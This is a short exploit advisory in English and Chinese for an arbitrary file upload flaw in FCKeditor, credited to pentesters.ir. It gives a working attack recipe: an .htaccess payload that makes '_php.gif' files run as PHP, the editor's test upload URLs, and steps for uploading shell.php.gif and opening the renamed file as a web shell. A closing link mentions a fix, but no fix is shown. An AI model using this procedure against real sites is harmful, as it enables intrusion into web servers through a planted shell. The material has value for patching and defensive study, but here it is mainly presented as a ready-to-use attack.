In The Name Of GOD [+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability [+] script:http://sourceforge.net/projects/fckeditor/ [+] Author : pentesters.ir [+] Website : PenTesters.IR --------------------------------------------------------- 1.创建一个htaccess文件: code: <FilesMatch "_php.gif"> SetHandler application/x-httpd-php </FilesMatch> 2.通过fc上传该htaccess
http://www.2cto.com /FCKeditor/editor/filemanager/upload/test.html http://www.2cto.com /FCKeditor/editor/filemanager/browser/default/connectors/test. html ---------------------------------------------------------------------------------------------- 3.Now upload shell.php.gif with FCKeditor. 4.After upload shell.php.gif, the name "shell.php.gif" change to "shell_php.gif" automatically. 5.http://www.2cto.com /anything/shell_php.gif 6.Now shell is available from server. ---------------------------------------------------------
查看更多关于FCKeditor所有版本任意文件上传缺陷及修复 - 网站的详细内容...